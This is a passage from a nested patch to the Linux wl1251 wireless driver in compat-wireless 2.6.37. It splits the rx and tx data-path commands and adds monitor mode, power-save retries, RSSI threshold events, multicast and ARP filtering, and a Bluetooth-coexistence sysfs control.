+ int wl1251_acx_event_mbox_mask(struct wl1251 *wl, u32 event_mask);
++int wl1251_acx_low_rssi(struct wl1251 *wl, s8 threshold, u8 weight,
++			u8 depth, enum wl1251_acx_low_rssi_type type);
+ int wl1251_acx_set_preamble(struct wl1251 *wl, enum acx_preamble_type preamble);
+ int wl1251_acx_cts_protect(struct wl1251 *wl,
+ 			    enum acx_ctsprotect_type ctsprotect);
+@@ -1401,6 +1488,9 @@
+ int wl1251_acx_rate_policies(struct wl1251 *wl);
+ int wl1251_acx_mem_cfg(struct wl1251 *wl);
+ int wl1251_acx_wr_tbtt_and_dtim(struct wl1251 *wl, u16 tbtt, u8 dtim);
++int wl1251_acx_bet_enable(struct wl1251 *wl, enum wl1251_acx_bet_mode mode,
++			  u8 max_consecutive);
++int wl1251_acx_arp_ip_filter(struct wl1251 *wl, bool enable, __be32 address);
+ int wl1251_acx_ac_cfg(struct wl1251 *wl, u8 ac, u8 cw_min, u16 cw_max,
+ 		      u8 aifs, u16 txop);
+ int wl1251_acx_tid_cfg(struct wl1251 *wl, u8 queue,
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/cmd.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/cmd.c
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/cmd.c	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/cmd.c	2011-08-23 17:30:45.000000000 +0200
+@@ -3,6 +3,7 @@
+ #include <linux/module.h>
+ #include <linux/slab.h>
+ #include <linux/crc7.h>
++#include <linux/etherdevice.h>
+ 
+ #include "wl1251.h"
+ #include "reg.h"
+@@ -203,11 +204,11 @@
+ 	return ret;
+ }
+ 
+-int wl1251_cmd_data_path(struct wl1251 *wl, u8 channel, bool enable)
++int wl1251_cmd_data_path_rx(struct wl1251 *wl, u8 channel, bool enable)
+ {
+ 	struct cmd_enabledisable_path *cmd;
+ 	int ret;
+-	u16 cmd_rx, cmd_tx;
++	u16 cmd_rx;
+ 
+ 	wl1251_debug(DEBUG_CMD, "cmd data path");
+ 
+@@ -219,13 +220,10 @@
+ 
+ 	cmd->channel = channel;
+ 
+-	if (enable) {
++	if (enable)
+ 		cmd_rx = CMD_ENABLE_RX;
+-		cmd_tx = CMD_ENABLE_TX;
+-	} else {
++	else
+ 		cmd_rx = CMD_DISABLE_RX;
+-		cmd_tx = CMD_DISABLE_TX;
+-	}
+ 
+ 	ret = wl1251_cmd_send(wl, cmd_rx, cmd, sizeof(*cmd));
+ 	if (ret < 0) {
+@@ -237,6 +235,32 @@
+ 	wl1251_debug(DEBUG_BOOT, "rx %s cmd channel %d",
+ 		     enable ? "start" : "stop", channel);
+ 
++out:
++	kfree(cmd);
++	return ret;
++}
++
++int wl1251_cmd_data_path_tx(struct wl1251 *wl, u8 channel, bool enable)
++{
++	struct cmd_enabledisable_path *cmd;
++	int ret;
++	u16 cmd_tx;
++
++	wl1251_debug(DEBUG_CMD, "cmd data path");
++
++	cmd = kzalloc(sizeof(*cmd), GFP_KERNEL);
++	if (!cmd) {
++		ret = -ENOMEM;
++		goto out;
++	}
++
++	cmd->channel = channel;
++
++	if (enable)
++		cmd_tx = CMD_ENABLE_TX;
++	else
++		cmd_tx = CMD_DISABLE_TX;
++
+ 	ret = wl1251_cmd_send(wl, cmd_tx, cmd, sizeof(*cmd));
+ 	if (ret < 0) {
+ 		wl1251_error("tx %s cmd for channel %d failed",
+@@ -277,15 +301,6 @@
+ 	join->rx_config_options = wl->rx_config;
+ 	join->rx_filter_options = wl->rx_filter;
+ 
+-	/*
+-	 * FIXME: disable temporarily all filters because after commit
+-	 * 9cef8737 "mac80211: fix managed mode BSSID handling" broke
+-	 * association. The filter logic needs to be implemented properly
+-	 * and once that is done, this hack can be removed.
+-	 */
+-	join->rx_config_options = 0;
+-	join->rx_filter_options = WL1251_DEFAULT_RX_FILTER;
+-
+ 	join->basic_rate_set = RATE_MASK_1MBPS | RATE_MASK_2MBPS |
+ 		RATE_MASK_5_5MBPS | RATE_MASK_11MBPS;
+ 
+@@ -419,7 +434,10 @@
+ 	struct wl1251_cmd_scan *cmd;
+ 	int i, ret = 0;
+ 
+-	wl1251_debug(DEBUG_CMD, "cmd scan");
++	wl1251_debug(DEBUG_CMD, "cmd scan channels %d ssid(%d) '%s'",
++		     n_channels, ssid_len, ssid);
++
++	WARN_ON(n_channels > SCAN_MAX_NUM_OF_CHANNELS);
+ 
+ 	cmd = kzalloc(sizeof(*cmd), GFP_KERNEL);
+ 	if (!cmd)
+@@ -430,6 +448,11 @@
+ 						    CFG_RX_MGMT_EN |
+ 						    CFG_RX_BCN_EN);
+ 	cmd->params.scan_options = 0;
++	/* Use high priority scan when not associated to prevent fw issue
++	 * causing never-ending scans (sometimes 20+ minutes).
++	 * Note: This bug may be caused by the fw's DTIM handling. */
++	if (is_zero_ether_addr(wl->bssid))
++		cmd->params.scan_options |= WL1251_SCAN_OPT_PRIORITY_HIGH;
+ 	cmd->params.num_channels = n_channels;
+ 	cmd->params.num_probe_requests = n_probes;
+ 	cmd->params.tx_rate = cpu_to_le16(1 << 1); /* 2 Mbps */
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/cmd.h compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/cmd.h
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/cmd.h	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/cmd.h	2011-08-23 17:07:12.000000000 +0200
+@@ -35,7 +35,8 @@
+ int wl1251_cmd_configure(struct wl1251 *wl, u16 id, void *buf, size_t len);
+ int wl1251_cmd_vbm(struct wl1251 *wl, u8 identity,
+ 		   void *bitmap, u16 bitmap_len, u8 bitmap_control);
+-int wl1251_cmd_data_path(struct wl1251 *wl, u8 channel, bool enable);
++int wl1251_cmd_data_path_rx(struct wl1251 *wl, u8 channel, bool enable);
++int wl1251_cmd_data_path_tx(struct wl1251 *wl, u8 channel, bool enable);
+ int wl1251_cmd_join(struct wl1251 *wl, u8 bss_type, u8 channel,
+ 		    u16 beacon_interval, u8 dtim_interval);
+ int wl1251_cmd_ps_mode(struct wl1251 *wl, u8 ps_mode);
+@@ -167,6 +168,11 @@
+ #define CMDMBOX_HEADER_LEN 4
+ #define CMDMBOX_INFO_ELEM_HEADER_LEN 4
+ 
++#define WL1251_SCAN_OPT_PASSIVE		1
++#define WL1251_SCAN_OPT_5GHZ_BAND	2
++#define WL1251_SCAN_OPT_TRIGGERD_SCAN	4
++#define WL1251_SCAN_OPT_PRIORITY_HIGH	8
++
+ #define WL1251_SCAN_MIN_DURATION 30000
+ #define WL1251_SCAN_MAX_DURATION 60000
+ 
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/event.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/event.c
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/event.c	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/event.c	2011-08-23 17:07:05.000000000 +0200
+@@ -42,6 +42,43 @@
+ 	return 0;
+ }
+ 
++#define WL1251_PSM_ENTRY_RETRIES  3
++static int wl1251_event_ps_report(struct wl1251 *wl,
++				  struct event_mailbox *mbox)
++{
++	int ret = 0;
++
++	wl1251_debug(DEBUG_EVENT, "ps status: %x", mbox->ps_status);
++
++	switch (mbox->ps_status) {
++	case EVENT_ENTER_POWER_SAVE_FAIL:
++		wl1251_debug(DEBUG_PSM, "PSM entry failed");
++
++		if (!wl->psm) {
++			/* remain in active mode */
++			wl->psm_entry_retry = 0;
++			break;
++		}
++
++		if (wl->psm_entry_retry < WL1251_PSM_ENTRY_RETRIES) {
++			wl->psm_entry_retry++;
++			ret = wl1251_ps_set_mode(wl, STATION_POWER_SAVE_MODE);
++		} else {
++			wl1251_error("Power save entry failed, giving up");
++			wl->psm_entry_retry = 0;
++		}
++		break;
++	case EVENT_ENTER_POWER_SAVE_SUCCESS:
++	case EVENT_EXIT_POWER_SAVE_FAIL:
++	case EVENT_EXIT_POWER_SAVE_SUCCESS:
++	default:
++		wl->psm_entry_retry = 0;
++		break;
++	}
++
++	return 0;
++}
++
+ static void wl1251_event_mbox_dump(struct event_mailbox *mbox)
+ {
+ 	wl1251_debug(DEBUG_EVENT, "MBOX DUMP:");
+@@ -75,6 +112,13 @@
+ 		}
+ 	}
+ 
++	if (vector & PS_REPORT_EVENT_ID) {
++		wl1251_debug(DEBUG_EVENT, "PS_REPORT_EVENT");
++		ret = wl1251_event_ps_report(wl, mbox);
++		if (ret < 0)
++			return ret;
++	}
++
+ 	if (vector & SYNCHRONIZATION_TIMEOUT_EVENT_ID && wl->psm) {
+ 		wl1251_debug(DEBUG_EVENT, "SYNCHRONIZATION_TIMEOUT_EVENT");
+ 
+@@ -90,6 +134,24 @@
+ 		}
+ 	}
+ 
++	if (wl->vif && wl->rssi_thold) {
++		if (vector & ROAMING_TRIGGER_LOW_RSSI_EVENT_ID) {
++			wl1251_debug(DEBUG_EVENT,
++				     "ROAMING_TRIGGER_LOW_RSSI_EVENT");
++			ieee80211_cqm_rssi_notify(wl->vif,
++				NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW,
++				GFP_KERNEL);
++		}
++
++		if (vector & ROAMING_TRIGGER_REGAINED_RSSI_EVENT_ID) {
++			wl1251_debug(DEBUG_EVENT,
++				     "ROAMING_TRIGGER_REGAINED_RSSI_EVENT");
++			ieee80211_cqm_rssi_notify(wl->vif,
++				NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH,
++				GFP_KERNEL);
++		}
++	}
++
+ 	return 0;
+ }
+ 
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/event.h compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/event.h
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/event.h	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/event.h	2011-08-23 17:07:01.000000000 +0200
+@@ -112,6 +112,13 @@
+ 	u8 padding[19];
+ } __packed;
+ 
++enum {
++	EVENT_ENTER_POWER_SAVE_FAIL = 0,
++	EVENT_ENTER_POWER_SAVE_SUCCESS,
++	EVENT_EXIT_POWER_SAVE_FAIL,
++	EVENT_EXIT_POWER_SAVE_SUCCESS,
++};
++
+ int wl1251_event_unmask(struct wl1251 *wl);
+ void wl1251_event_mbox_config(struct wl1251 *wl);
+ int wl1251_event_handle(struct wl1251 *wl, u8 mbox);
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/init.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/init.c
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/init.c	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/init.c	2011-08-23 17:07:20.000000000 +0200
+@@ -33,7 +33,7 @@
+ {
+ 	int ret;
+ 
+-	ret = wl1251_acx_feature_cfg(wl);
++	ret = wl1251_acx_feature_cfg(wl, 0);
+ 	if (ret < 0) {
+ 		wl1251_warning("couldn't set feature config");
+ 		return ret;
+@@ -127,7 +127,7 @@
+ 	if (ret < 0)
+ 		return ret;
+ 
+-	ret = wl1251_acx_group_address_tbl(wl);
++	ret = wl1251_acx_group_address_tbl(wl, true, NULL, 0);
+ 	if (ret < 0)
+ 		return ret;
+ 
+@@ -162,11 +162,7 @@
+ {
+ 	int ret;
+ 
+-	ret = wl1251_acx_sg_enable(wl);
+-	if (ret < 0)
+-		return ret;
+-
+-	ret = wl1251_acx_sg_cfg(wl);
++	ret = wl1251_acx_sg_configure(wl, true);
+ 	if (ret < 0)
+ 		return ret;
+ 
+@@ -394,8 +390,13 @@
+ 	if (ret < 0)
+ 		goto out_free_data_path;
+ 
+-	/* Enable data path */
+-	ret = wl1251_cmd_data_path(wl, wl->channel, 1);
++	/* Enable rx data path */
++	ret = wl1251_cmd_data_path_rx(wl, wl->channel, 1);
++	if (ret < 0)
++		goto out_free_data_path;
++
++	/* Enable tx data path */
++	ret = wl1251_cmd_data_path_tx(wl, wl->channel, 1);
+ 	if (ret < 0)
+ 		goto out_free_data_path;
+ 
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/main.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/main.c
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/main.c	2011-01-13 02:06:41.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/main.c	2011-08-23 17:07:29.000000000 +0200
+@@ -30,7 +30,9 @@
+ #include <linux/crc32.h>
+ #include <linux/etherdevice.h>
+ #include <linux/vmalloc.h>
++#include <linux/platform_device.h>
+ #include <linux/slab.h>
++#include <linux/netdevice.h>
+ 
+ #include "wl1251.h"
+ #include "wl12xx_80211.h"
+@@ -348,33 +350,6 @@
+ 	return ret;
+ }
+ 
+-static void wl1251_filter_work(struct work_struct *work)
+-{
+-	struct wl1251 *wl =
+-		container_of(work, struct wl1251, filter_work);
+-	int ret;
+-
+-	mutex_lock(&wl->mutex);
+-
+-	if (wl->state == WL1251_STATE_OFF)
+-		goto out;
+-
+-	ret = wl1251_ps_elp_wakeup(wl);
+-	if (ret < 0)
+-		goto out;
+-
+-	ret = wl1251_join(wl, wl->bss_type, wl->channel, wl->beacon_int,
+-			  wl->dtim_period);
+-	if (ret < 0)
+-		goto out_sleep;
+-
+-out_sleep:
+-	wl1251_ps_elp_sleep(wl);
+-
+-out:
+-	mutex_unlock(&wl->mutex);
+-}
+-
+ static int wl1251_op_tx(struct ieee80211_hw *hw, struct sk_buff *skb)
+ {
+ 	struct wl1251 *wl = hw->priv;
+@@ -480,7 +455,6 @@
+ 
+ 	cancel_work_sync(&wl->irq_work);
+ 	cancel_work_sync(&wl->tx_work);
+-	cancel_work_sync(&wl->filter_work);
+ 
+ 	mutex_lock(&wl->mutex);
+ 
+@@ -500,9 +474,13 @@
+ 	wl->next_tx_complete = 0;
+ 	wl->elp = false;
+ 	wl->psm = 0;
++	wl->psm_entry_retry = 0;
+ 	wl->tx_queue_stopped = false;
+ 	wl->power_level = WL1251_DEFAULT_POWER_LEVEL;
++	wl->rssi_thold = 0;
+ 	wl->channel = WL1251_DEFAULT_CHANNEL;
++	wl->monitor_present = false;
++	wl->joined = false;
+ 
+ 	wl1251_debugfs_reset(wl);
+ 
+@@ -559,6 +537,7 @@
+ 	mutex_lock(&wl->mutex);
+ 	wl1251_debug(DEBUG_MAC80211, "mac80211 remove interface");
+ 	wl->vif = NULL;
++	memset(wl->bssid, 0, ETH_ALEN);
+ 	mutex_unlock(&wl->mutex);
+ }
+ 
+@@ -591,8 +570,10 @@
+ 
+ 	channel = ieee80211_frequency_to_channel(conf->channel->center_freq);
+ 
+-	wl1251_debug(DEBUG_MAC80211, "mac80211 config ch %d psm %s power %d",
++	wl1251_debug(DEBUG_MAC80211,
++		     "mac80211 config ch %d monitor %s psm %s power %d",
+ 		     channel,
++		     conf->flags & IEEE80211_CONF_MONITOR ? "on" : "off",
+ 		     conf->flags & IEEE80211_CONF_PS ? "on" : "off",
+ 		     conf->power_level);
+ 
+@@ -602,16 +583,55 @@
+ 	if (ret < 0)
+ 		goto out;
+ 
++	if (changed & IEEE80211_CONF_CHANGE_MONITOR) {
++		u32 mode;
++
++		if (conf->flags & IEEE80211_CONF_MONITOR) {
++			wl->monitor_present = true;
++			mode = DF_SNIFF_MODE_ENABLE | DF_ENCRYPTION_DISABLE;
++		} else {
++			wl->monitor_present = false;
++			mode = 0;
++		}
++
++		ret = wl1251_acx_feature_cfg(wl, mode);
++		if (ret < 0)
++			goto out_sleep;
++
++		if (wl->monitor_present)
++			wl->rx_config |= CFG_RX_ALL_GOOD;
++		else
++			wl->rx_config &= ~CFG_RX_ALL_GOOD;
++
++		/* update filters immediately */
++		ret = wl1251_acx_rx_config(wl, wl->rx_config, wl->rx_filter);
++		if (ret < 0)
++			goto out_sleep;
++	}
++
+ 	if (channel != wl->channel) {
+ 		wl->channel = channel;
+ 
+-		ret = wl1251_join(wl, wl->bss_type, wl->channel,
+-				  wl->beacon_int, wl->dtim_period);
++		/*
++		 * Use ENABLE_RX command for channel switching when no
++		 * interface is present (monitor mode only).
++		 * This leaves the tx path disabled in firmware, whereas
++		 * the usual JOIN command seems to transmit some frames
++		 * at firmware level.
++		 */
++		if (wl->vif == NULL) {
++			wl->joined = false;
++			ret = wl1251_cmd_data_path_rx(wl, wl->channel, 1);
++		} else {
++			ret = wl1251_join(wl, wl->bss_type, wl->channel,
++					  wl->beacon_int, wl->dtim_period);
++		}
+ 		if (ret < 0)
+ 			goto out_sleep;
+ 	}
+ 
+-	if (conf->flags & IEEE80211_CONF_PS && !wl->psm_requested) {
++	if (conf->flags & IEEE80211_CONF_PS && !wl->psm_requested &&
++	    !wl->monitor_present) {
+ 		wl1251_debug(DEBUG_PSM, "psm enabled");
+ 
+ 		wl->psm_requested = true;
+@@ -627,8 +647,8 @@
+ 		ret = wl1251_ps_set_mode(wl, STATION_POWER_SAVE_MODE);
+ 		if (ret < 0)
+ 			goto out_sleep;
+-	} else if (!(conf->flags & IEEE80211_CONF_PS) &&
+-		   wl->psm_requested) {
++	} else if ((!(conf->flags & IEEE80211_CONF_PS) || wl->monitor_present)
++		   && wl->psm_requested) {
+ 		wl1251_debug(DEBUG_PSM, "psm disabled");
+ 
+ 		wl->psm_requested = false;
+@@ -648,6 +668,16 @@
+ 		wl->power_level = conf->power_level;
+ 	}
+ 
++	/*
++	 * Tell stack that connection is lost because hw encryption isn't
++	 * supported in monitor mode.
++	 * XXX This requires temporary enabling the hw connection monitor flag
++	 */
++	if ((changed & IEEE80211_CONF_CHANGE_MONITOR) && wl->vif) {
++		wl->hw->flags |= IEEE80211_HW_CONNECTION_MONITOR;
++		ieee80211_connection_loss(wl->vif);
++	}
++
+ out_sleep:
+ 	wl1251_ps_elp_sleep(wl);
+ 
+@@ -657,6 +687,44 @@
+ 	return ret;
+ }
+ 
++struct wl1251_filter_params {
++	bool enabled;
++	int mc_list_length;
++	u8 mc_list[ACX_MC_ADDRESS_GROUP_MAX][ETH_ALEN];
++};
++
++static u64 wl1251_op_prepare_multicast(struct ieee80211_hw *hw,
++				       struct netdev_hw_addr_list *mc_list)
++{
++	struct wl1251_filter_params *fp;
++	struct netdev_hw_addr *ha;
++	struct wl1251 *wl = hw->priv;
++
++	if (unlikely(wl->state == WL1251_STATE_OFF))
++		return 0;
++
++	fp = kzalloc(sizeof(*fp), GFP_ATOMIC);
++	if (!fp) {
++		wl1251_error("Out of memory setting filters.");
++		return 0;
++	}
++
++	/* update multicast filtering parameters */
++	fp->mc_list_length = 0;
++	if (netdev_hw_addr_list_count(mc_list) > ACX_MC_ADDRESS_GROUP_MAX) {
++		fp->enabled = false;
++	} else {
++		fp->enabled = true;
++		netdev_hw_addr_list_for_each(ha, mc_list) {
++			memcpy(fp->mc_list[fp->mc_list_length],
++					ha->addr, ETH_ALEN);
++			fp->mc_list_length++;
++		}
++	}
++
++	return (u64)(unsigned long)fp;
++}
++
+ #define WL1251_SUPPORTED_FILTERS (FIF_PROMISC_IN_BSS | \
+ 				  FIF_ALLMULTI | \
+ 				  FIF_FCSFAIL | \
+@@ -666,27 +734,47 @@
+ 
+ static void wl1251_op_configure_filter(struct ieee80211_hw *hw,
+ 				       unsigned int changed,
+-				       unsigned int *total,u64 multicast)
++				       unsigned int *total, u64 multicast)
+ {
++	struct wl1251_filter_params *fp = (void *)(unsigned long)multicast;
+ 	struct wl1251 *wl = hw->priv;
++	int ret;
+ 
+ 	wl1251_debug(DEBUG_MAC80211, "mac80211 configure filter");
+ 
+ 	*total &= WL1251_SUPPORTED_FILTERS;
+ 	changed &= WL1251_SUPPORTED_FILTERS;
+ 
++	mutex_lock(&wl->mutex);
++
++	if (unlikely(wl->state == WL1251_STATE_OFF))
++		goto out;
++
++	ret = wl1251_ps_elp_wakeup(wl);
++	if (ret < 0)
++		goto out;
++
++	if (*total & FIF_ALLMULTI || *total & FIF_PROMISC_IN_BSS)
++		ret = wl1251_acx_group_address_tbl(wl, false, NULL, 0);
++	else if (fp)
++		ret = wl1251_acx_group_address_tbl(wl, fp->enabled,
++						   fp->mc_list,
++						   fp->mc_list_length);
++	if (ret < 0)
++		goto out_sleep;
++
+ 	if (changed == 0)
+ 		/* no filters which we support changed */
+-		return;
+-
+-	/* FIXME: wl->rx_config and wl->rx_filter are not protected */
++		goto out_sleep;
+ 
+ 	wl->rx_config = WL1251_DEFAULT_RX_CONFIG;
+ 	wl->rx_filter = WL1251_DEFAULT_RX_FILTER;
+ 
+-	if (*total & FIF_PROMISC_IN_BSS) {
++	if (!is_zero_ether_addr(wl->bssid))
+ 		wl->rx_config |= CFG_BSSID_FILTER_EN;
+-		wl->rx_config |= CFG_RX_ALL_GOOD;
++	if (*total & FIF_PROMISC_IN_BSS) {
++		wl->rx_config &= ~CFG_UNI_FILTER_EN;
++		wl->rx_config &= ~CFG_MC_FILTER_EN;
+ 	}
+ 	if (*total & FIF_ALLMULTI)
+ 		/*
+@@ -702,15 +790,28 @@
+ 	}
+ 	if (*total & FIF_CONTROL)
+ 		wl->rx_filter |= CFG_RX_CTL_EN;
+-	if (*total & FIF_OTHER_BSS)
+-		wl->rx_filter &= ~CFG_BSSID_FILTER_EN;
++	if (*total & FIF_OTHER_BSS) {
++		wl->rx_config &= ~CFG_BSSID_FILTER_EN;
++		wl->rx_config &= ~CFG_SSID_FILTER_EN;
++	}
++	if (wl->monitor_present)
++		wl->rx_config |= CFG_RX_ALL_GOOD;
+ 
+-	/*
+-	 * FIXME: workqueues need to be properly cancelled on stop(), for
+-	 * now let's just disable changing the filter settings. They will
+-	 * be updated any on config().
+-	 */
+-	/* schedule_work(&wl->filter_work); */
++	wl1251_debug(DEBUG_MAC80211, "mac80211 filter total 0x%02x"
++		     " changed 0x%02x rx_config 0x%02x rx_filter 0x%02x",
++		     *total, changed, wl->rx_config, wl->rx_filter);
++
++	/* apply configured filters */
++	ret = wl1251_acx_rx_config(wl, wl->rx_config, wl->rx_filter);
++	if (ret < 0)
++		goto out_sleep;
++
++out_sleep:
++	wl1251_ps_elp_sleep(wl);
++
++out:
++	mutex_unlock(&wl->mutex);
++	kfree(fp);
+ }
+ 
+ /* HW encryption */
+@@ -790,12 +891,12 @@
+ 
+ 	mutex_lock(&wl->mutex);
+ 
+-	ret = wl1251_ps_elp_wakeup(wl);
+-	if (ret < 0)
+-		goto out_unlock;
+-
+ 	switch (cmd) {
+ 	case SET_KEY:
++		if (wl->monitor_present) {
++			ret = -EOPNOTSUPP;
++			goto out_unlock;
++		}
+ 		wl_cmd->key_action = KEY_ADD_OR_REPLACE;
+ 		break;
+ 	case DISABLE_KEY:
+@@ -806,6 +907,10 @@
+ 		break;
+ 	}
+ 
++	ret = wl1251_ps_elp_wakeup(wl);
++	if (ret < 0)
++		goto out_unlock;
++
+ 	ret = wl1251_set_key_type(wl, wl_cmd, cmd, key, addr);
+ 	if (ret < 0) {
+ 		wl1251_error("Set KEY type failed");
+@@ -906,6 +1011,7 @@
+ 	ret = wl1251_cmd_scan(wl, ssid, ssid_len, req->channels,
+ 			      req->n_channels, WL1251_SCAN_NUM_PROBES);
+ 	if (ret < 0) {
++		wl1251_debug(DEBUG_SCAN, "scan failed %d", ret);
+ 		wl->scanning = false;
+ 		goto out_sleep;
+ 	}
+@@ -959,9 +1065,24 @@
+ 	if (ret < 0)
+ 		goto out;
+ 
++	if (changed & BSS_CHANGED_CQM) {
++		ret = wl1251_acx_low_rssi(wl, bss_conf->cqm_rssi_thold,
++					  WL1251_DEFAULT_LOW_RSSI_WEIGHT,
++					  WL1251_DEFAULT_LOW_RSSI_DEPTH,
++					  WL1251_ACX_LOW_RSSI_TYPE_EDGE);
++		if (ret < 0)
++			goto out;
++		wl->rssi_thold = bss_conf->cqm_rssi_thold;
++	}
++
+ 	if (changed & BSS_CHANGED_BSSID) {
+ 		memcpy(wl->bssid, bss_conf->bssid, ETH_ALEN);
+ 
++		if (is_zero_ether_addr(wl->bssid))
++			wl->rx_config &= ~CFG_BSSID_FILTER_EN;
++		else
++			wl->rx_config |= CFG_BSSID_FILTER_EN;
++
+ 		skb = ieee80211_nullfunc_get(wl->hw, wl->vif);
+ 		if (!skb)
+ 			goto out_sleep;
+@@ -985,6 +1106,9 @@
+ 	}
+ 
+ 	if (changed & BSS_CHANGED_ASSOC) {
++		/* XXX Disable temporary enabled hw connection monitor flag */
++		wl->hw->flags &= ~IEEE80211_HW_CONNECTION_MONITOR;
++
+ 		if (bss_conf->assoc) {
+ 			wl->beacon_int = bss_conf->beacon_int;
+ 
+@@ -1037,6 +1161,19 @@
+ 		}
+ 	}
+ 
++	if (changed & BSS_CHANGED_ARP_FILTER) {
++		__be32 addr = bss_conf->arp_addr_list[0];
++		WARN_ON(wl->bss_type != BSS_TYPE_STA_BSS);
++
++		if (bss_conf->arp_addr_cnt == 1 && bss_conf->arp_filter_enabled)
++			ret = wl1251_acx_arp_ip_filter(wl, true, addr);
++		else
++			ret = wl1251_acx_arp_ip_filter(wl, false, addr);
++
++		if (ret < 0)
++			goto out_sleep;
++	}
++
+ 	if (changed & BSS_CHANGED_BEACON) {
+ 		beacon = ieee80211_beacon_get(hw, vif);
+ 		ret = wl1251_cmd_template_set(wl, CMD_BEACON, beacon->data,
+@@ -1203,6 +1340,7 @@
+ 	.add_interface = wl1251_op_add_interface,
+ 	.remove_interface = wl1251_op_remove_interface,
+ 	.config = wl1251_op_config,
++	.prepare_multicast = wl1251_op_prepare_multicast,
+ 	.configure_filter = wl1251_op_configure_filter,
+ 	.tx = wl1251_op_tx,
+ 	.set_key = wl1251_op_set_key,
+@@ -1213,6 +1351,94 @@
+ 	.get_survey = wl1251_op_get_survey,
+ };
+ 
++static ssize_t wl1251_sysfs_show_bt_coex_mode(struct device *dev,
++					      struct device_attribute *attr,
++					      char *buf)
++{
++	struct wl1251 *wl = dev_get_drvdata(dev);
++	ssize_t len;
++
++	/* FIXME: what's the maximum length of buf? page size?*/
++	len = 500;
++
++	mutex_lock(&wl->mutex);
++	len = snprintf(buf, len, "%d\n\n%d - off\n%d - on\n%d - monoaudio\n",
++		       wl->bt_coex_mode,
++		       WL1251_BT_COEX_OFF,
++		       WL1251_BT_COEX_ENABLE,
++		       WL1251_BT_COEX_MONOAUDIO);
++	mutex_unlock(&wl->mutex);
++
++	return len;
++
++}
++
++static ssize_t wl1251_sysfs_store_bt_coex_mode(struct device *dev,
++					       struct device_attribute *attr,
++					       const char *buf, size_t count)
++{
++	struct wl1251 *wl = dev_get_drvdata(dev);
++	unsigned long res;
++	int ret;
++
++	ret = strict_strtoul(buf, 10, &res);
++
++	if (ret < 0) {
++		wl1251_warning("incorrect value written to bt_coex_mode");
++		return count;
++	}
++
++	mutex_lock(&wl->mutex);
++
++	if (res == wl->bt_coex_mode)
++		goto out;
++
++	switch (res) {
++	case WL1251_BT_COEX_OFF:
++	case WL1251_BT_COEX_ENABLE:
++	case WL1251_BT_COEX_MONOAUDIO:
++		wl->bt_coex_mode = res;
++		break;
++	default:
++		wl1251_warning("incorrect value written to bt_coex_mode");
++		goto out;
++	}
++
++	if (wl->state == WL1251_STATE_OFF)
++		goto out;
++
++	ret = wl1251_ps_elp_wakeup(wl);
++	if (ret < 0)
++		goto out;
++
++	wl1251_acx_sg_configure(wl, false);
++	wl1251_ps_elp_sleep(wl);
++
++out:
++	mutex_unlock(&wl->mutex);
++	return count;
++}
++
++static DEVICE_ATTR(bt_coex_mode, S_IRUGO | S_IWUSR,
++		   wl1251_sysfs_show_bt_coex_mode,
++		   wl1251_sysfs_store_bt_coex_mode);
++
++static void wl1251_device_release(struct device *dev)
++{
++
++}
++
++static struct platform_device wl1251_device = {
++	/* FIXME: use wl12xx name to not break the user space */
++	.name		= "wl12xx",
++	.id		= -1,
++
++	/* device model insists to have a release function */
++	.dev            = {
++		.release = wl1251_device_release,
++	},
++};
++
+ static int wl1251_read_eeprom_byte(struct wl1251 *wl, off_t offset, u8 *data)
+ {
+ 	unsigned long timeout;
+@@ -1310,9 +1536,11 @@
+ 	wl->hw->flags = IEEE80211_HW_SIGNAL_DBM |
+ 		IEEE80211_HW_SUPPORTS_PS |
+ 		IEEE80211_HW_BEACON_FILTER |
+-		IEEE80211_HW_SUPPORTS_UAPSD;
++		IEEE80211_HW_SUPPORTS_UAPSD |
++		IEEE80211_HW_SUPPORTS_CQM_RSSI;
+ 
+-	wl->hw->wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION);
++	wl->hw->wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION) |
++					 BIT(NL80211_IFTYPE_ADHOC);
+ 	wl->hw->wiphy->max_scan_ssids = 1;
+ 	wl->hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &wl1251_band_2ghz;
+ 
+@@ -1325,6 +1553,22 @@
+ 	if (ret)
+ 		goto out;
+ 
++	/* Register platform device */
++	ret = platform_device_register(&wl1251_device);
++	if (ret) {
++		wl1251_error("couldn't register platform device");
++		goto out;
++	}
++	dev_set_drvdata(&wl1251_device.dev, wl);
++
++
++	/* Create sysfs file to control bt coex state */
++	ret = device_create_file(&wl1251_device.dev, &dev_attr_bt_coex_mode);
++	if (ret < 0) {
++		wl1251_error("failed to create sysfs file bt_coex_mode");
++		goto out;
